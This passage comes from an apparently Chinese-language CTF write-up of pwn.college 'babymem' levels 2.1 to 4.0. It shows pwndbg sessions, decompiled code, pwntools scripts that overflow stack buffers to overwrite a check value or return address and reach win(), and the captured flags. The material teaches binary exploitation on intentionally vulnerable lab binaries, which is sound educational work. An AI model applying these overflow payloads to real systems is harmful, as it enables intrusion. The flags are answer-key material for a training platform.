   0x5555555561dd &amp;lt;challenge+235&amp;gt;    cmp    eax, 0x2d3ce686                 0x0 - 0x2d3ce686     EFLAGS =&amp;gt; 0x293 [ CF pf AF zf SF IF df of ]
   0x5555555561e2 &amp;lt;challenge+240&amp;gt;  ✔ jne    challenge+252               &amp;lt;challenge+252&amp;gt;
    ↓
   0x5555555561ee &amp;lt;challenge+252&amp;gt;    lea    rdi, [rip + 0xf77]              RDI =&amp;gt; 0x55555555716c ◂— &apos;Goodbye!&apos;
   0x5555555561f5 &amp;lt;challenge+259&amp;gt;    call   puts@plt                    &amp;lt;puts@plt&amp;gt;

   0x5555555561fa &amp;lt;challenge+264&amp;gt;    mov    eax, 0                       EAX =&amp;gt; 0
   0x5555555561ff &amp;lt;challenge+269&amp;gt;    mov    rcx, qword ptr [rbp - 8]
   0x555555556203 &amp;lt;challenge+273&amp;gt;    xor    rcx, qword ptr fs:[0x28]
   0x55555555620c &amp;lt;challenge+282&amp;gt;    je     challenge+289               &amp;lt;challenge+289&amp;gt;

   0x55555555620e &amp;lt;challenge+284&amp;gt;    call   __stack_chk_fail@plt        &amp;lt;__stack_chk_fail@plt&amp;gt;
─────────────────────────────────────────────────────────────────────────────────[ STACK ]──────────────────────────────────────────────────────────────────────────────────
00:0000│ rsp 0x7fffffffd140 —▸ 0x555555557175 ◂— 0x2023232300232323 /* &apos;###&apos; */
01:0008│-058 0x7fffffffd148 —▸ 0x7fffffffe318 —▸ 0x7fffffffe6f1 ◂— &apos;SHELL=/usr/bin/zsh&apos;
02:0010│-050 0x7fffffffd150 —▸ 0x7fffffffe308 —▸ 0x7fffffffe6bb ◂— &apos;/home/cub3y0nd/Projects/pwn.college/babymem-level-2-1&apos;
03:0018│-048 0x7fffffffd158 ◂— 0x155559020
04:0020│-040 0x7fffffffd160 ◂— 0x11ffffd1a0
05:0028│-038 0x7fffffffd168 ◂— 0x6eb
06:0030│-030 0x7fffffffd170 —▸ 0x7fffffffd180 ◂— &apos;aaaaaaaabaaaaaaa\n&apos;
07:0038│-028 0x7fffffffd178 —▸ 0x7fffffffd194 ◂— 0xf7a9ac0000000000
───────────────────────────────────────────────────────────────────────────────[ BACKTRACE ]────────────────────────────────────────────────────────────────────────────────
 ► 0   0x5555555561d7 challenge+229
   1   0x5555555562ea main+213
   2   0x7ffff7dcae08
   3   0x7ffff7dcaecc __libc_start_main+140
   4   0x55555555520e _start+46
────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
pwndbg&amp;gt; x/wx $rbp-0x28
0x7fffffffd178: 0xffffd194
pwndbg&amp;gt; p/x 0x194-0x180
$4 = 0x14
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;算出来 padding 大小是 &lt;code&gt;0x14&lt;/code&gt;。&lt;/p&gt;
&lt;h2&gt;Exploit&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;#!/usr/bin/python3

from pwn import context, ELF, process, remote, gdb, p64

context(log_level=&quot;debug&quot;, terminal=&quot;kitty&quot;)

FILE = &quot;./babymem-level-2-1&quot;
HOST = &quot;pwn.college&quot;
PORT = 1337

gdbscript = &quot;&quot;&quot;
c
&quot;&quot;&quot;


def launch(local=True, debug=False):
    if local:
        elf = ELF(FILE)
        context.binary = elf

        if debug:
            return gdb.debug([elf.path], gdbscript=gdbscript)
        else:
            return process([elf.path])
    else:
        return remote(HOST, PORT)


target = launch()

payload = b&quot;&quot;.ljust(0x14, b&quot;A&quot;) + p64(758965894)
payload_size = str(len(payload)).encode()

target.recvuntil(b&quot;Payload size: &quot;)
target.sendline(payload_size)
target.recvuntil(b&quot;Send your payload&quot;)
target.send(payload)

target.recvall()
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Flag&lt;/h2&gt;
&lt;p&gt;Flag: &lt;code&gt;pwn.college{sZCPUpjO4U6HmvntMr91HLyNljf.dhTNzMDL5cTNxgzW}&lt;/code&gt;&lt;/p&gt;
&lt;h1&gt;Level 3.0&lt;/h1&gt;
&lt;h2&gt;Information&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Category: Pwn&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Description&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;Overflow a buffer and smash the stack to obtain the flag!&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;Write-up&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;###
### Welcome to ./babymem-level-3-0!
###

The challenge() function has just been launched!
Before we do anything, let&apos;s take a look at challenge()&apos;s stack frame:
+---------------------------------+-------------------------+--------------------+
|                  Stack location |            Data (bytes) |      Data (LE int) |
+---------------------------------+-------------------------+--------------------+
| 0x00007ffd41f77580 (rsp+0x0000) | b0 75 f7 41 fd 7f 00 00 | 0x00007ffd41f775b0 |
| 0x00007ffd41f77588 (rsp+0x0008) | 68 87 f7 41 fd 7f 00 00 | 0x00007ffd41f78768 |
| 0x00007ffd41f77590 (rsp+0x0010) | 58 87 f7 41 fd 7f 00 00 | 0x00007ffd41f78758 |
| 0x00007ffd41f77598 (rsp+0x0018) | 0b a7 02 f9 01 00 00 00 | 0x00000001f902a70b |
| 0x00007ffd41f775a0 (rsp+0x0020) | 1e 3e 40 00 00 00 00 00 | 0x0000000000403e1e |
| 0x00007ffd41f775a8 (rsp+0x0028) | 00 00 00 00 00 00 00 00 | 0x0000000000000000 |
| 0x00007ffd41f775b0 (rsp+0x0030) | 00 00 00 00 00 00 00 00 | 0x0000000000000000 |
| 0x00007ffd41f775b8 (rsp+0x0038) | 00 00 00 00 00 00 00 00 | 0x0000000000000000 |
| 0x00007ffd41f775c0 (rsp+0x0040) | 00 00 00 00 00 00 00 00 | 0x0000000000000000 |
| 0x00007ffd41f775c8 (rsp+0x0048) | 00 00 00 00 00 00 00 00 | 0x0000000000000000 |
| 0x00007ffd41f775d0 (rsp+0x0050) | 00 00 00 00 00 00 00 00 | 0x0000000000000000 |
| 0x00007ffd41f775d8 (rsp+0x0058) | 00 00 00 00 00 00 00 00 | 0x0000000000000000 |
| 0x00007ffd41f775e0 (rsp+0x0060) | 00 00 00 00 00 00 00 00 | 0x0000000000000000 |
| 0x00007ffd41f775e8 (rsp+0x0068) | 00 00 00 00 00 00 00 00 | 0x0000000000000000 |
| 0x00007ffd41f775f0 (rsp+0x0070) | 00 00 00 00 00 00 00 00 | 0x0000000000000000 |
| 0x00007ffd41f775f8 (rsp+0x0078) | b0 75 f7 41 fd 7f 00 00 | 0x00007ffd41f775b0 |
| 0x00007ffd41f77600 (rsp+0x0080) | 30 86 f7 41 fd 7f 00 00 | 0x00007ffd41f78630 |
| 0x00007ffd41f77608 (rsp+0x0088) | 51 2a 40 00 00 00 00 00 | 0x0000000000402a51 |
+---------------------------------+-------------------------+--------------------+
Our stack pointer points to 0x7ffd41f77580, and our base pointer points to 0x7ffd41f77600.
This means that we have (decimal) 18 8-byte words in our stack frame,
including the saved base pointer and the saved return address, for a
total of 144 bytes.
The input buffer begins at 0x7ffd41f775b0, partway through the stack frame,
(&quot;above&quot; it in the stack are other local variables used by the function).
Your input will be read into this buffer.
The buffer is 68 bytes long, but the program will let you provide an arbitrarily
large input length, and thus overflow the buffer.

In this level, there is no &quot;win&quot; variable.
You will need to force the program to execute the win() function
by directly overflowing into the stored return address back to main,
which is stored at 0x7ffd41f77608, 88 bytes after the start of your input buffer.
That means that you will need to input at least 96 bytes (68 to fill the buffer,
20 to fill other stuff stored between the buffer and the return address,
and 8 that will overwrite the return address).

We have disabled the following standard memory corruption mitigations for this challenge:
- the canary is disabled, otherwise you would corrupt it before
overwriting the return address, and the program would abort.
- the binary is *not* position independent. This means that it will be
located at the same spot every time it is run, which means that by
analyzing the binary (using objdump or reading this output), you can
know the exact value that you need to overwrite the return address with.

Payload size:
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;程序直接告诉我们目的和需要多大的 padding 了，所以接下来直接找 &lt;code&gt;win&lt;/code&gt; 的地址就好了。&lt;/p&gt;
&lt;p&gt;直接上 pwndbg 查 &lt;code&gt;win&lt;/code&gt; 函数地址：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;pwndbg&amp;gt; i fun
All defined functions:

Non-debugging symbols:
0x0000000000401000  _init
0x00000000004010f0  putchar@plt
0x0000000000401100  __errno_location@plt
0x0000000000401110  puts@plt
0x0000000000401120  write@plt
0x0000000000401130  printf@plt
0x0000000000401140  geteuid@plt
0x0000000000401150  read@plt
0x0000000000401160  setvbuf@plt
0x0000000000401170  open@plt
0x0000000000401180  __isoc99_scanf@plt
0x0000000000401190  exit@plt
0x00000000004011a0  strerror@plt
0x00000000004011b0  _start
0x00000000004011e0  _dl_relocate_static_pie
0x00000000004011f0  deregister_tm_clones
0x0000000000401220  register_tm_clones
0x0000000000401260  __do_global_dtors_aux
0x0000000000401290  frame_dummy
0x0000000000401296  DUMP_STACK
0x0000000000401499  bin_padding
0x0000000000402331  win
0x0000000000402438  challenge
0x000000000040298b  main
0x0000000000402a70  __libc_csu_init
0x0000000000402ae0  __libc_csu_fini
0x0000000000402ae8  _fini
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Exploit&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;#!/usr/bin/python3

from pwn import context, ELF, process, remote, gdb, p64

context(log_level=&quot;debug&quot;, terminal=&quot;kitty&quot;)

FILE = &quot;./babymem-level-3-0&quot;
HOST = &quot;pwn.college&quot;
PORT = 1337

gdbscript = &quot;&quot;&quot;
c
&quot;&quot;&quot;


def launch(local=True, debug=False):
    if local:
        elf = ELF(FILE)
        context.binary = elf

        if debug:
            return gdb.debug([elf.path], gdbscript=gdbscript)
        else:
            return process([elf.path])
    else:
        return remote(HOST, PORT)


target = launch()

payload = b&quot;&quot;.ljust(88, b&quot;A&quot;) + p64(0x402331)
payload_size = str(len(payload)).encode()

target.recvuntil(b&quot;Payload size: &quot;)
target.sendline(payload_size)
target.recvuntil(b&quot;Send your payload&quot;)
target.send(payload)

target.recvall()
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Flag&lt;/h2&gt;
&lt;p&gt;Flag: &lt;code&gt;pwn.college{0omKd6AgzV5NaakXpbDyYSre3hD.01M5IDL5cTNxgzW}&lt;/code&gt;&lt;/p&gt;
&lt;h1&gt;Level 3.1&lt;/h1&gt;
&lt;h2&gt;Information&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Category: Pwn&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Description&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;Overflow a buffer and smash the stack to obtain the flag!&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;Write-up&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;__int64 challenge()
{
  int *v0; // rax
  char *v1; // rax
  size_t nbytes; // [rsp+28h] [rbp-88h] BYREF
  _QWORD v4[13]; // [rsp+30h] [rbp-80h] BYREF
  int v5; // [rsp+98h] [rbp-18h]
  __int16 v6; // [rsp+9Ch] [rbp-14h]
  int v7; // [rsp+A4h] [rbp-Ch]
  void *buf; // [rsp+A8h] [rbp-8h]

  memset(v4, 0, sizeof(v4));
  v5 = 0;
  v6 = 0;
  buf = v4;
  nbytes = 0LL;
  printf(&quot;Payload size: &quot;);
  __isoc99_scanf(&quot;%lu&quot;, &amp;amp;nbytes);
  printf(&quot;Send your payload (up to %lu bytes)!\n&quot;, nbytes);
  v7 = read(0, buf, nbytes);
  if ( v7 &amp;lt; 0 )
  {
    v0 = __errno_location();
    v1 = strerror(*v0);
    printf(&quot;ERROR: Failed to read input -- %s!\n&quot;, v1);
    exit(1);
  }
  puts(&quot;Goodbye!&quot;);
  return 0LL;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;pwndbg&amp;gt; i fun
All defined functions:

Non-debugging symbols:
0x0000000000401000  _init
0x00000000004010f0  putchar@plt
0x0000000000401100  __errno_location@plt
0x0000000000401110  puts@plt
0x0000000000401120  write@plt
0x0000000000401130  printf@plt
0x0000000000401140  geteuid@plt
0x0000000000401150  read@plt
0x0000000000401160  setvbuf@plt
0x0000000000401170  open@plt
0x0000000000401180  __isoc99_scanf@plt
0x0000000000401190  exit@plt
0x00000000004011a0  strerror@plt
0x00000000004011b0  _start
0x00000000004011e0  _dl_relocate_static_pie
0x00000000004011f0  deregister_tm_clones
0x0000000000401220  register_tm_clones
0x0000000000401260  __do_global_dtors_aux
0x0000000000401290  frame_dummy
0x0000000000401296  bin_padding
0x0000000000401a0b  win
0x0000000000401b12  challenge
0x0000000000401c64  main
0x0000000000401d40  __libc_csu_init
0x0000000000401db0  __libc_csu_fini
0x0000000000401db8  _fini
pwndbg&amp;gt; disass challenge
Dump of assembler code for function challenge:
   0x0000000000401b12 &amp;lt;+0&amp;gt;: endbr64
   0x0000000000401b16 &amp;lt;+4&amp;gt;: push   rbp
   0x0000000000401b17 &amp;lt;+5&amp;gt;: mov    rbp,rsp
   0x0000000000401b1a &amp;lt;+8&amp;gt;: sub    rsp,0xb0
   0x0000000000401b21 &amp;lt;+15&amp;gt;: mov    DWORD PTR [rbp-0x94],edi
   0x0000000000401b27 &amp;lt;+21&amp;gt;: mov    QWORD PTR [rbp-0xa0],rsi
   0x0000000000401b2e &amp;lt;+28&amp;gt;: mov    QWORD PTR [rbp-0xa8],rdx
   0x0000000000401b35 &amp;lt;+35&amp;gt;: mov    QWORD PTR [rbp-0x80],0x0
   0x0000000000401b3d &amp;lt;+43&amp;gt;: mov    QWORD PTR [rbp-0x78],0x0
   0x0000000000401b45 &amp;lt;+51&amp;gt;: mov    QWORD PTR [rbp-0x70],0x0
   0x0000000000401b4d &amp;lt;+59&amp;gt;: mov    QWORD PTR [rbp-0x68],0x0
   0x0000000000401b55 &amp;lt;+67&amp;gt;: mov    QWORD PTR [rbp-0x60],0x0
   0x0000000000401b5d &amp;lt;+75&amp;gt;: mov    QWORD PTR [rbp-0x58],0x0
   0x0000000000401b65 &amp;lt;+83&amp;gt;: mov    QWORD PTR [rbp-0x50],0x0
   0x0000000000401b6d &amp;lt;+91&amp;gt;: mov    QWORD PTR [rbp-0x48],0x0
   0x0000000000401b75 &amp;lt;+99&amp;gt;: mov    QWORD PTR [rbp-0x40],0x0
   0x0000000000401b7d &amp;lt;+107&amp;gt;: mov    QWORD PTR [rbp-0x38],0x0
   0x0000000000401b85 &amp;lt;+115&amp;gt;: mov    QWORD PTR [rbp-0x30],0x0
   0x0000000000401b8d &amp;lt;+123&amp;gt;: mov    QWORD PTR [rbp-0x28],0x0
   0x0000000000401b95 &amp;lt;+131&amp;gt;: mov    QWORD PTR [rbp-0x20],0x0
   0x0000000000401b9d &amp;lt;+139&amp;gt;: mov    DWORD PTR [rbp-0x18],0x0
   0x0000000000401ba4 &amp;lt;+146&amp;gt;: mov    WORD PTR [rbp-0x14],0x0
   0x0000000000401baa &amp;lt;+152&amp;gt;: lea    rax,[rbp-0x80]
   0x0000000000401bae &amp;lt;+156&amp;gt;: mov    QWORD PTR [rbp-0x8],rax
   0x0000000000401bb2 &amp;lt;+160&amp;gt;: mov    QWORD PTR [rbp-0x88],0x0
   0x0000000000401bbd &amp;lt;+171&amp;gt;: lea    rdi,[rip+0x548]        # 0x40210c
   0x0000000000401bc4 &amp;lt;+178&amp;gt;: mov    eax,0x0
   0x0000000000401bc9 &amp;lt;+183&amp;gt;: call   0x401130 &amp;lt;printf@plt&amp;gt;
   0x0000000000401bce &amp;lt;+188&amp;gt;: lea    rax,[rbp-0x88]
   0x0000000000401bd5 &amp;lt;+195&amp;gt;: mov    rsi,rax
   0x0000000000401bd8 &amp;lt;+198&amp;gt;: lea    rdi,[rip+0x53c]        # 0x40211b
   0x0000000000401bdf &amp;lt;+205&amp;gt;: mov    eax,0x0
   0x0000000000401be4 &amp;lt;+210&amp;gt;: call   0x401180 &amp;lt;__isoc99_scanf@plt&amp;gt;
   0x0000000000401be9 &amp;lt;+215&amp;gt;: mov    rax,QWORD PTR [rbp-0x88]
   0x0000000000401bf0 &amp;lt;+222&amp;gt;: mov    rsi,rax
   0x0000000000401bf3 &amp;lt;+225&amp;gt;: lea    rdi,[rip+0x526]        # 0x402120
   0x0000000000401bfa &amp;lt;+232&amp;gt;: mov    eax,0x0
   0x0000000000401bff &amp;lt;+237&amp;gt;: call   0x401130 &amp;lt;printf@plt&amp;gt;
   0x0000000000401c04 &amp;lt;+242&amp;gt;: mov    rdx,QWORD PTR [rbp-0x88]
   0x0000000000401c0b &amp;lt;+249&amp;gt;: mov    rax,QWORD PTR [rbp-0x8]
   0x0000000000401c0f &amp;lt;+253&amp;gt;: mov    rsi,rax
   0x0000000000401c12 &amp;lt;+256&amp;gt;: mov    edi,0x0
   0x0000000000401c17 &amp;lt;+261&amp;gt;: call   0x401150 &amp;lt;read@plt&amp;gt;
   0x0000000000401c1c &amp;lt;+266&amp;gt;: mov    DWORD PTR [rbp-0xc],eax
   0x0000000000401c1f &amp;lt;+269&amp;gt;: cmp    DWORD PTR [rbp-0xc],0x0
   0x0000000000401c23 &amp;lt;+273&amp;gt;: jns    0x401c51 &amp;lt;challenge+319&amp;gt;
   0x0000000000401c25 &amp;lt;+275&amp;gt;: call   0x401100 &amp;lt;__errno_location@plt&amp;gt;
   0x0000000000401c2a &amp;lt;+280&amp;gt;: mov    eax,DWORD PTR [rax]
   0x0000000000401c2c &amp;lt;+282&amp;gt;: mov    edi,eax
   0x0000000000401c2e &amp;lt;+284&amp;gt;: call   0x4011a0 &amp;lt;strerror@plt&amp;gt;
   0x0000000000401c33 &amp;lt;+289&amp;gt;: mov    rsi,rax
   0x0000000000401c36 &amp;lt;+292&amp;gt;: lea    rdi,[rip+0x50b]        # 0x402148
   0x0000000000401c3d &amp;lt;+299&amp;gt;: mov    eax,0x0
   0x0000000000401c42 &amp;lt;+304&amp;gt;: call   0x401130 &amp;lt;printf@plt&amp;gt;
   0x0000000000401c47 &amp;lt;+309&amp;gt;: mov    edi,0x1
   0x0000000000401c4c &amp;lt;+314&amp;gt;: call   0x401190 &amp;lt;exit@plt&amp;gt;
   0x0000000000401c51 &amp;lt;+319&amp;gt;: lea    rdi,[rip+0x514]        # 0x40216c
   0x0000000000401c58 &amp;lt;+326&amp;gt;: call   0x401110 &amp;lt;puts@plt&amp;gt;
   0x0000000000401c5d &amp;lt;+331&amp;gt;: mov    eax,0x0
   0x0000000000401c62 &amp;lt;+336&amp;gt;: leave
   0x0000000000401c63 &amp;lt;+337&amp;gt;: ret
End of assembler dump.
pwndbg&amp;gt; b *challenge+261
Breakpoint 1 at 0x401c17
pwndbg&amp;gt; r
Starting program: /home/cub3y0nd/Projects/pwn.college/babymem-level-3-1
[Thread debugging using libthread_db enabled]
Using host libthread_db library &quot;/usr/lib/libthread_db.so.1&quot;.
###
### Welcome to /home/cub3y0nd/Projects/pwn.college/babymem-level-3-1!
###

Payload size: 1771
Send your payload (up to 1771 bytes)!

Breakpoint 1, 0x0000000000401c17 in challenge ()
LEGEND: STACK | HEAP | CODE | DATA | WX | RODATA
───────────────────────────────────────────────────────────[ REGISTERS / show-flags off / show-compact-regs off ]───────────────────────────────────────────────────────────
 RAX  0x7fffffffd130 ◂— 0
 RBX  0x7fffffffe308 —▸ 0x7fffffffe6bb ◂— &apos;/home/cub3y0nd/Projects/pwn.college/babymem-level-3-1&apos;
 RCX  0
 RDX  0x6eb
 RDI  0
 RSI  0x7fffffffd130 ◂— 0
 R8   0x75
 R9   0xfffffffc
 R10  0
 R11  0x202
 R12  1
 R13  0
 R14  0x7ffff7ffd000 (_rtld_global) —▸ 0x7ffff7ffe2e0 ◂— 0
 R15  0
 RBP  0x7fffffffd1b0 —▸ 0x7fffffffe1e0 —▸ 0x7fffffffe280 —▸ 0x7fffffffe2e0 ◂— 0
 RSP  0x7fffffffd100 ◂— 0xa /* &apos;\n&apos; */
 RIP  0x401c17 (challenge+261) ◂— call 0x401150
────────────────────────────────────────────────────────────────────[ DISASM / x86-64 / set emulate on ]────────────────────────────────────────────────────────────────────
 ► 0x401c17 &amp;lt;challenge+261&amp;gt;    call   read@plt                    &amp;lt;read@plt&amp;gt;
        fd: 0 (/dev/pts/2)
        buf: 0x7fffffffd130 ◂— 0
        nbytes: 0x6eb

   0x401c1c &amp;lt;challenge+266&amp;gt;    mov    dword ptr [rbp - 0xc], eax
   0x401c1f &amp;lt;challenge+269&amp;gt;    cmp    dword ptr [rbp - 0xc], 0
   0x401c23 &amp;lt;challenge+273&amp;gt;    jns    challenge+319               &amp;lt;challenge+319&amp;gt;

   0x401c25 &amp;lt;challenge+275&amp;gt;    call   __errno_location@plt        &amp;lt;__errno_location@plt&amp;gt;

   0x401c2a &amp;lt;challenge+280&amp;gt;    mov    eax, dword ptr [rax]
   0x401c2c &amp;lt;challenge+282&amp;gt;    mov    edi, eax
   0x401c2e &amp;lt;challenge+284&amp;gt;    call   strerror@plt                &amp;lt;strerror@plt&amp;gt;

   0x401c33 &amp;lt;challenge+289&amp;gt;    mov    rsi, rax
   0x401c36 &amp;lt;challenge+292&amp;gt;    lea    rdi, [rip + 0x50b]     RDI =&amp;gt; 0x402148 ◂— &apos;ERROR: Failed to read input -- %s!\n&apos;
   0x401c3d &amp;lt;challenge+299&amp;gt;    mov    eax, 0                 EAX =&amp;gt; 0
─────────────────────────────────────────────────────────────────────────────────[ STACK ]──────────────────────────────────────────────────────────────────────────────────
00:0000│ rsp     0x7fffffffd100 ◂— 0xa /* &apos;\n&apos; */
01:0008│-0a8     0x7fffffffd108 —▸ 0x7fffffffe318 —▸ 0x7fffffffe6f1 ◂— &apos;SHELL=/usr/bin/zsh&apos;
02:0010│-0a0     0x7fffffffd110 —▸ 0x7fffffffe308 —▸ 0x7fffffffe6bb ◂— &apos;/home/cub3y0nd/Projects/pwn.college/babymem-level-3-1&apos;
03:0018│-098     0x7fffffffd118 ◂— 0x100000000
04:0020│-090     0x7fffffffd120 —▸ 0x7fffffffd140 ◂— 0
05:0028│-088     0x7fffffffd128 ◂— 0x6eb
06:0030│ rax rsi 0x7fffffffd130 ◂— 0
07:0038│-078     0x7fffffffd138 ◂— 0
───────────────────────────────────────────────────────────────────────────────[ BACKTRACE ]────────────────────────────────────────────────────────────────────────────────
 ► 0         0x401c17 challenge+261
   1         0x401d2a main+198
   2   0x7ffff7dcae08
   3   0x7ffff7dcaecc __libc_start_main+140
   4         0x4011de _start+46
────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
pwndbg&amp;gt; i frame
Stack level 0, frame at 0x7fffffffd1c0:
 rip = 0x401c17 in challenge; saved rip = 0x401d2a
 called by frame at 0x7fffffffe1f0
 Arglist at 0x7fffffffd1b0, args:
 Locals at 0x7fffffffd1b0, Previous frame&apos;s sp is 0x7fffffffd1c0
 Saved registers:
  rbp at 0x7fffffffd1b0, rip at 0x7fffffffd1b8
pwndbg&amp;gt; distance 0x7fffffffd130 0x7fffffffd1b8
0x7fffffffd130-&amp;gt;0x7fffffffd1b8 is 0x88 bytes (0x11 words)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;很显然这是想让我们覆盖返回地址控制程序执行流程，达到执行 &lt;code&gt;win&lt;/code&gt; 的目的。&lt;/p&gt;
&lt;h2&gt;Exploit&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;#!/usr/bin/python3

from pwn import context, ELF, process, remote, gdb, p64

context(log_level=&quot;debug&quot;, terminal=&quot;kitty&quot;)

FILE = &quot;./babymem-level-3-1&quot;
HOST = &quot;pwn.college&quot;
PORT = 1337

gdbscript = &quot;&quot;&quot;
c
&quot;&quot;&quot;


def launch(local=True, debug=False):
    if local:
        elf = ELF(FILE)
        context.binary = elf

        if debug:
            return gdb.debug([elf.path], gdbscript=gdbscript)
        else:
            return process([elf.path])
    else:
        return remote(HOST, PORT)


target = launch()

payload = b&quot;&quot;.ljust(0x88, b&quot;A&quot;) + p64(0x401A0B)
payload_size = str(len(payload)).encode()

target.recvuntil(b&quot;Payload size: &quot;)
target.sendline(payload_size)
target.recvuntil(b&quot;Send your payload&quot;)
target.send(payload)

target.recvall()
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Flag&lt;/h2&gt;
&lt;p&gt;Flag: &lt;code&gt;pwn.college{k2xNTDjO8L-Rt_oy5sU-i2dFj1y.0FN5IDL5cTNxgzW}&lt;/code&gt;&lt;/p&gt;
&lt;h1&gt;Level 4.0&lt;/h1&gt;
&lt;h2&gt;Information&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Category: Pwn&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Description&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;Overflow a buffer and smash the stack to obtain the flag, but this time bypass a check designed to prevent you from doing so!&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;Write-up&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;__int64 __fastcall challenge(int a1, __int64 a2, __int64 a3)
{
  int *v3; // rax
  char *v4; // rax
  _QWORD v6[3]; // [rsp+0h] [rbp-B0h] BYREF
  int v7; // [rsp+1Ch] [rbp-94h]
  size_t nbytes[15]; // [rsp+2Ch] [rbp-84h] BYREF
  int v9; // [rsp+A4h] [rbp-Ch]
  void *buf; // [rsp+A8h] [rbp-8h]
  __int64 savedregs; // [rsp+B0h] [rbp+0h] BYREF
  _UNKNOWN *retaddr; // [rsp+B8h] [rbp+8h] BYREF

  v7 = a1;
  v6[2] = a2;
  v6[1] = a3;
  buf = (char *)nbytes + 4;
  memset(nbytes, 0, 110);
  puts(&quot;The challenge() function has just been launched!&quot;);
  sp_ = (__int64)v6;
  bp_ = (__int64)&amp;amp;savedregs;
  sz_ = ((unsigned __int64)((char *)&amp;amp;savedregs - (char *)v6) &amp;gt;&amp;gt; 3) + 2;
  rp_ = (__int64)&amp;amp;retaddr;
  puts(&quot;Before we do anything, let&apos;s take a look at challenge()&apos;s stack frame:&quot;);
  DUMP_STACK(sp_, sz_);
  printf(&quot;Our stack pointer points to %p, and our base pointer points to %p.\n&quot;, (const void *)sp_, (const void *)bp_);
  printf(&quot;This means that we have (decimal) %d 8-byte words in our stack frame,\n&quot;, sz_);
  puts(&quot;including the saved base pointer and the saved return address, for a&quot;);
  printf(&quot;total of %d bytes.\n&quot;, 8 * sz_);
  printf(&quot;The input buffer begins at %p, partway through the stack frame,\n&quot;, buf);
  puts(&quot;(\&quot;above\&quot; it in the stack are other local variables used by the function).&quot;);
  puts(&quot;Your input will be read into this buffer.&quot;);
  printf(&quot;The buffer is %d bytes long, but the program will let you provide an arbitrarily\n&quot;, 106);
  puts(&quot;large input length, and thus overflow the buffer.\n&quot;);
  puts(&quot;In this level, there is no \&quot;win\&quot; variable.&quot;);
  puts(&quot;You will need to force the program to execute the win() function&quot;);
  puts(&quot;by directly overflowing into the stored return address back to main,&quot;);
  printf(
    &quot;which is stored at %p, %d bytes after the start of your input buffer.\n&quot;,
    (const void *)rp_,
    rp_ - (_DWORD)buf);
  printf(
    &quot;That means that you will need to input at least %d bytes (%d to fill the buffer,\n&quot;,
    rp_ - (_DWORD)buf + 8,
    106);
  printf(&quot;%d to fill other stuff stored between the buffer and the return address,\n&quot;, rp_ - (_DWORD)buf - 106);
  puts(&quot;and 8 that will overwrite the return address).\n&quot;);
  puts(&quot;We have disabled the following standard memory corruption mitigations for this challenge:&quot;);
  puts(&quot;- the canary is disabled, otherwise you would corrupt it before&quot;);
  puts(&quot;overwriting the return address, and the program would abort.&quot;);
  puts(&quot;- the binary is *not* position independent. This means that it will be&quot;);
  puts(&quot;located at the same spot every time it is run, which means that by&quot;);
  puts(&quot;analyzing the binary (using objdump or reading this output), you can&quot;);
  puts(&quot;know the exact value that you need to overwrite the return address with.\n&quot;);
  printf(&quot;Payload size: &quot;);
  __isoc99_scanf(&quot;%i&quot;, nbytes);
  puts(&quot;This challenge is more careful: it will check to make sure you&quot;);
  puts(&quot;don&apos;t want to provide so much data that the input buffer will&quot;);
  puts(&quot;overflow. But recall twos compliment, look at how the check is&quot;);
  puts(&quot;implemented, and try to beat it!&quot;);
  if ( SLODWORD(nbytes[0]) &amp;gt; 106 )
  {
    puts(&quot;Provided size is too large!&quot;);
    exit(1);
  }
  puts(&quot;You made it past the check! Because the read() call will interpret&quot;);
  puts(&quot;your size differently than the check above, the resulting read will&quot;);
  puts(&quot;be unstable and might fail. You will likely have to try this several&quot;);
  puts(&quot;times before your input is actually read.&quot;);
  printf(&quot;You have chosen to send %i bytes of input!\n&quot;, LODWORD(nbytes[0]));
  printf(&quot;This will allow you to write from %p (the start of the input buffer)\n&quot;, buf);
  printf(
    &quot;right up to (but not including) %p (which is %d bytes beyond the end of the buffer).\n&quot;,
    (char *)buf + SLODWORD(nbytes[0]),
    LODWORD(nbytes[0]) - 106);
  printf(&quot;Of these, you will overwrite %d bytes into the return address.\n&quot;, (_DWORD)buf + LODWORD(nbytes[0]) - rp_);
  puts(&quot;If that number is greater than 8, you will overwrite the entire return address.\n&quot;);
  puts(&quot;You will want to overwrite the return value from challenge()&quot;);
  printf(&quot;(located at %p, %d bytes past the start of the input buffer)\n&quot;, (const void *)rp_, rp_ - (_DWORD)buf);
  printf(&quot;with %p, which is the address of the win() function.\n&quot;, win);
  puts(&quot;This will cause challenge() to return directly into the win() function,&quot;);
  puts(&quot;which will in turn give you the flag.&quot;);
  puts(&quot;Keep in mind that you will need to write the address of the win() function&quot;);
  puts(&quot;in little-endian (bytes backwards) so that it is interpreted properly.\n&quot;);
  printf(&quot;Send your payload (up to %i bytes)!\n&quot;, LODWORD(nbytes[0]));
  v9 = read(0, buf, LODWORD(nbytes[0]));
